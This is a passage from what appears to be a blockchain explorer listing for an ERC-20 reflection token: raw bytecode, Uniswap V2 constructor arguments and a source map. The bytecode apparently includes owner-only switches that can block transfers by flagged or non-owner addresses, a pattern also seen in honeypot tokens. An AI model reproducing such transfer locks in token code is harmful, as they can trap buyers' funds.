3ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d3f610ff7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc3906130f9565b60405180910390fd5b60011515600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610e82576000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f60565b6001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f0f3a1ed3c4204a32a5b508871331f80e0457d586a9494c9bb5c5ba17acfee38881600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16604051610f57929190613119565b60405180910390a15b50565b6000610fa583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061198b565b905092915050565b6000610fef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118fc565b905092915050565b600033905090565b6000806000806000806000611013886119ee565b915091506000611021611960565b905060008060006110338c8686611a41565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846110669190613171565b9050838110156110ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a290613213565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611125576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111c906132a5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611195576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118c90613337565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112739190612d3e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e7906133c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611360576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113579061345b565b60405180910390fd5b600081116113a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139a906134ed565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114445750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561148d576000811461148c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148390613533565b60405180910390fd5b5b60001515600f60009054906101000a900460ff16151514806114e157506114b2611a9f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061151e57506114ef611a9f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156118a05761152b611a9f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115965750611567611a9f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156115ab576115a6838383611ac8565b61189b565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561164e5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156116635761165e838383611e3e565b61189a565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117065750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561171b57611716838383612091565b611899565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117bf5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117d4576117cf8383836122e4565b611898565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156118765750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561188b576118868383836124a2565b611897565b6118968383836122e4565b5b5b5b5b5b6118f7565b60001515600f60009054906101000a900460ff161515146118f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ed90613533565b60405180910390fd5b5b505050565b6000838311158290611944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193b9190612c0f565b60405180910390fd5b50600083856119539190613553565b9050809150509392505050565b600080600061196d61278a565b915091506119848183610f6390919063ffffffff16565b9250505090565b600080831182906119d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c99190612c0f565b60405180910390fd5b50600083856119e191906135b6565b9050809150509392505050565b6000806000611a1b602f611a0d6103e887610f6390919063ffffffff16565b612a5990919063ffffffff16565b90506000611a328286610fad90919063ffffffff16565b90508082935093505050915091565b600080600080611a5a8588612a5990919063ffffffff16565b90506000611a718688612a5990919063ffffffff16565b90506000611a888284610fad90919063ffffffff16565b905082818395509550955050505093509350939050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000611ad382610fff565b505050509050611b2b81600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fad90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c5657611c1282600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fad90919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611ca881600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105790919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611dd357611d8f82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105790919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e309190612d3e565b60405180910390a350505050565b6000806000806000611e4f86610fff565b94509450945094509450611eab86600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fad90919063ffffffff16565b600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f4085600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fad90919063ffffffff16565b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd584600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105790919063ffffffff16565b600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120228382612ad4565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161207f9190612d3e565b60405180910390a35050505050505050565b60008060008060006120a286610fff565b945094509450945094506120fe85600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fad90919063ffffffff16565b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061219382600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105790919063ffffffff16565b600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222884600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105790919063ffffffff16565b600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122758382612ad4565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122d29190612d3e565b60405180910390a35050505050505050565b60008060008060006122f586610fff565b9450945094509450945061235185600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fad90919063ffffffff16565b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123e684600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105790919063ffffffff16565b600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124338382612ad4565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124909190612d3e565b60405180910390a35050505050505050565b60008060008060006124b386610fff565b9450945094509450945061250f86600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fad90919063ffffffff16565b600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125a485600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fad90919063ffffffff16565b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263982600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105790919063ffffffff16565b600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ce84600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461105790919063ffffffff16565b600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061271b8382612ad4565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127789190612d3e565b60405180910390a35050505050505050565b600080600060065490506000683635c9adc5dea00000905060005b600d80549050811015612a0e578260086000600d84815481106127cb576127ca6135e7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806128b957508160096000600d8481548110612851576128506135e7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156128d757600654683635c9adc5dea0000094509450505050612a55565b61296760086000600d84815481106128f2576128f16135e7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610fad90919063ffffffff16565b92506129f960096000600d8481548110612984576129836135e7565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610fad90919063ffffffff16565b91508080612a0690613616565b9150506127a5565b50612a2d683635c9adc5dea00000600654610f6390919063ffffffff16565b821015612a4c57600654683635c9adc5dea00000935093505050612a55565b81819350935050505b9091565b600080831415612a6c5760009050612ace565b60008284612a7a919061365f565b9050828482612a8991906135b6565b14612ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac09061372b565b60405180910390fd5b809150505b92915050565b612ae982600654610fad90919063ffffffff16565b600681905550612b0481600e5461105790919063ffffffff16565b600e819055505050565b600080fd5b6000819050919050565b612b2681612b13565b8114612b3157600080fd5b50565b600081359050612b4381612b1d565b92915050565b600060208284031215612b5f57612b5e612b0e565b5b6000612b6d84828501612b34565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612bb0578082015181840152602081019050612b95565b83811115612bbf576000848401525b50505050565b6000601f19601f8301169050919050565b6000612be182612b76565b612beb8185612b81565b9350612bfb818560208601612b92565b612c0481612bc5565b840191505092915050565b60006020820190508181036000830152612c298184612bd6565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c5c82612c31565b9050919050565b612c6c81612c51565b82525050565b6000602082019050612c876000830184612c63565b92915050565b612c9681612c51565b8114612ca157600080fd5b50565b600081359050612cb381612c8d565b92915050565b60008060408385031215612cd057612ccf612b0e565b5b6000612cde85828601612ca4565b9250506020612cef85828601612b34565b9150509250929050565b60008115159050919050565b612d0e81612cf9565b82525050565b6000602082019050612d296000830184612d05565b92915050565b612d3881612b13565b82525050565b6000602082019050612d536000830184612d2f565b92915050565b600080600060608486031215612d7257612d71612b0e565b5b6000612d8086828701612ca4565b9350506020612d9186828701612ca4565b9250506040612da286828701612b34565b9150509250925092565b600060ff82169050919050565b612dc281612dac565b82525050565b6000602082019050612ddd6000830184612db9565b92915050565b612dec81612cf9565b8114612df757600080fd5b50565b600081359050612e0981612de3565b92915050565b60008060408385031215612e2657612e25612b0e565b5b6000612e3485828601612b34565b9250506020612e4585828601612dfa565b9150509250929050565b600060208284031215612e6557612e64612b0e565b5b6000612e7384828501612ca4565b91505092915050565b60008060408385031215612e9357612e92612b0e565b5b6000612ea185828601612ca4565b9250506020612eb285828601612ca4565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000612f18602c83612b81565b9150612f2382612ebc565b604082019050919050565b60006020820190508181036000830152612f4781612f0b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612f9557607f821691505b60208210811415612fa957612fa8612f4e565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061300b602a83612b81565b915061301682612faf565b604082019050919050565b6000602082019050818103600083015261303a81612ffe565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b6000613077601f83612b81565b915061308282613041565b602082019050919050565b600060208201905081810360008301526130a68161306a565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006130e3602083612b81565b91506130ee826130ad565b602082019050919050565b60006020820190508181036000830152613112816130d6565b9050919050565b600060408201905061312e6000830185612c63565b61313b6020830184612d05565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061317c82612b13565b915061318783612b13565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131bc576131bb613142565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006131fd601b83612b81565b9150613208826131c7565b602082019050919050565b6000602082019050818103600083015261322c816131f0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061328f602483612b81565b915061329a82613233565b604082019050919050565b600060208201905081810360008301526132be81613282565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613321602283612b81565b915061332c826132c5565b604082019050919050565b6000602082019050818103600083015261335081613314565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006133b3602583612b81565b91506133be82613357565b604082019050919050565b600060208201905081810360008301526133e2816133a6565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613445602383612b81565b9150613450826133e9565b604082019050919050565b6000602082019050818103600083015261347481613438565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006134d7602983612b81565b91506134e28261347b565b604082019050919050565b60006020820190508181036000830152613506816134ca565b9050919050565b50565b600061351d600083612b81565b91506135288261350d565b600082019050919050565b6000602082019050818103600083015261354c81613510565b9050919050565b600061355e82612b13565b915061356983612b13565b92508282101561357c5761357b613142565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006135c182612b13565b91506135cc83612b13565b9250826135dc576135db613587565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061362182612b13565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561365457613653613142565b5b600182019050919050565b600061366a82612b13565b915061367583612b13565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156136ae576136ad613142565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613715602183612b81565b9150613720826136b9565b604082019050919050565b6000602082019050818103600083015261374481613708565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220caf58b5e69c91c13fd0fdacd6b62854be3c7edcc3f636f78f56cae18c4e56e9564736f6c63430008080033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : V2factory (address): 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
Arg [1] : V2router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
Arg [1] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

166:11022:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3911:376;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1551:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1010:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2303:161;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1828:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3087:313;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4717:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1737:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3685:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4295:414;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1946:198;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;972:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2770:130;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5325:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1642:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;469:32;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3408:269;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2912:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2152:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2472:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3911:376;3963:14;3980:12;:10;:12::i;:::-;3963:29;;4012:11;:19;4024:6;4012:19;;;;;;;;;;;;;;;;;;;;;;;;;4011:20;4003:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;4092:15;4115:19;4126:7;4115:10;:19::i;:::-;4091:43;;;;;;4163:28;4183:7;4163;:15;4171:6;4163:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;4145:7;:15;4153:6;4145:15;;;;;;;;;;;;;;;:46;;;;4212:20;4224:7;4212;;:11;;:20;;;;:::i;:::-;4202:7;:30;;;;4256:23;4271:7;4256:10;;:14;;:23;;;;:::i;:::-;4243:10;:36;;;;3952:335;;3911:376;:::o;1551:83::-;1588:13;1621:5;1614:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1551:83;:::o;1010:30::-;;;;;;;;;;;;;:::o;2303:161::-;2378:4;2395:39;2404:12;:10;:12::i;:::-;2418:7;2427:6;2395:8;:39::i;:::-;2452:4;2445:11;;2303:161;;;;:::o;1828:95::-;1881:7;409:19;1901:14;;1828:95;:::o;3087:313::-;3185:4;3202:36;3212:6;3220:9;3231:6;3202:9;:36::i;:::-;3249:121;3258:6;3266:12;:10;:12::i;:::-;3280:89;3318:6;3280:89;;;;;;;;;;;;;;;;;:11;:19;3292:6;3280:19;;;;;;;;;;;;;;;:33;3300:12;:10;:12::i;:::-;3280:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;3249:8;:121::i;:::-;3388:4;3381:11;;3087:313;;;;;:::o;4717:253::-;4783:7;4822;;4811;:18;;4803:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;4887:19;4910:10;:8;:10::i;:::-;4887:33;;4938:24;4950:11;4938:7;:11;;:24;;;;:::i;:::-;4931:31;;;4717:253;;;:::o;1737:83::-;1778:5;1803:9;;;;;;;;;;;1796:16;;1737:83;:::o;3685:218::-;3773:4;3790:83;3799:12;:10;:12::i;:::-;3813:7;3822:50;3861:10;3822:11;:25;3834:12;:10;:12::i;:::-;3822:25;;;;;;;;;;;;;;;:34;3848:7;3822:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;3790:8;:83::i;:::-;3891:4;3884:11;;3685:218;;;;:::o;4295:414::-;4385:7;409:19;4413:7;:18;;4405:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;4483:17;4478:224;;4518:15;4541:19;4552:7;4541:10;:19::i;:::-;4517:43;;;;;;4582:7;4575:14;;;;;4478:224;4614:23;4644:19;4655:7;4644:10;:19::i;:::-;4612:51;;;;;;4685:15;4678:22;;;4295:414;;;;;:::o;1946:198::-;2012:7;2036:11;:20;2048:7;2036:20;;;;;;;;;;;;;;;;;;;;;;;;;2032:49;;;2065:7;:16;2073:7;2065:16;;;;;;;;;;;;;;;;2058:23;;;;2032:49;2099:37;2119:7;:16;2127:7;2119:16;;;;;;;;;;;;;;;;2099:19;:37::i;:::-;2092:44;;1946:198;;;;:::o;972:31::-;;;;;;;;;;;;;:::o;2770:130::-;2837:4;2861:21;:31;2883:8;2861:31;;;;;;;;;;;;;;;;;;;;;;;;;2854:38;;2770:130;;;:::o;5325:93::-;5373:7;5400:10;;5393:17;;5325:93;:::o;1642:87::-;1681:13;1714:7;1707:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1642:87;:::o;469:32::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3408:269::-;3501:4;3518:129;3527:12;:10;:12::i;:::-;3541:7;3550:96;3589:15;3550:96;;;;;;;;;;;;;;;;;:11;:25;3562:12;:10;:12::i;:::-;3550:25;;;;;;;;;;;;;;;:34;3576:7;3550:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;3518:8;:129::i;:::-;3665:4;3658:11;;3408:269;;;;:::o;2912:167::-;2990:4;3007:42;3017:12;:10;:12::i;:::-;3031:9;3042:6;3007:9;:42::i;:::-;3067:4;3060:11;;2912:167;;;;:::o;2152:143::-;2233:7;2260:11;:18;2272:5;2260:18;;;;;;;;;;;;;;;:27;2279:7;2260:27;;;;;;;;;;;;;;;;2253:34;;2152:143;;;;:::o;2472:290::-;895:12:1;:10;:12::i;:::-;885:22;;:6;;;;;;;;;;:22;;;877:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2576:4:3::1;2541:39;;:21;:31;2563:8;2541:31;;;;;;;;;;;;;;;;;;;;;;;;;:39;;;2537:218;;;2617:5;2583:21;:31;2605:8;2583:31;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;2537:218;;;2674:4;2640:21;:31;2662:8;2640:31;;;;;;;;;;;;;;;;:38;;;;;;;;;;;;;;;;;;2695:58;2711:8;2721:21;:31;2743:8;2721:31;;;;;;;;;;;;;;;;;;;;;;;;;2695:58;;;;;;;:::i;:::-;;;;;;;;2537:218;2472:290:::0;:::o;1766:132:0:-;1824:7;1851:39;1855:1;1858;1851:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1844:46;;1766:132;;;;:::o;521:136::-;579:7;606:43;610:1;613;606:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;599:50;;521:136;;;;:::o;108:114:1:-;161:15;203:10;188:26;;108:114;:::o;9462:411:3:-;9521:7;9530;9539;9548;9557;9578:23;9603:12;9619:20;9631:7;9619:11;:20::i;:::-;9577:62;;;;9650:19;9673:10;:8;:10::i;:::-;9650:33;;9695:15;9712:23;9737:12;9753:39;9765:7;9774:4;9780:11;9753;:39::i;:::-;9694:98;;;;;;9811:7;9820:15;9837:4;9843:15;9860:4;9803:62;;;;;;;;;;;;;;;;9462:411;;;;;;;:::o;200:179:0:-;258:7;278:9;294:1;290;:5;;;;:::i;:::-;278:17;;319:1;314;:6;;306:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;370:1;363:8;;;200:179;;;;:::o;4978:335:3:-;5088:1;5071:19;;:5;:19;;;;5063:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5169:1;5150:21;;:7;:21;;;;5142:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5251:6;5221:11;:18;5233:5;5221:18;;;;;;;;;;;;;;;:27;5240:7;5221:27;;;;;;;;;;;;;;;:36;;;;5289:7;5273:32;;5282:5;5273:32;;;5298:6;5273:32;;;;;;:::i;:::-;;;;;;;;4978:335;;;:::o;5430:1247::-;5545:1;5527:20;;:6;:20;;;;5519:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;5629:1;5608:23;;:9;:23;;;;5600:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5699:1;5690:6;:10;5682:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5761:21;:29;5783:6;5761:29;;;;;;;;;;;;;;;;;;;;;;;;;:65;;;;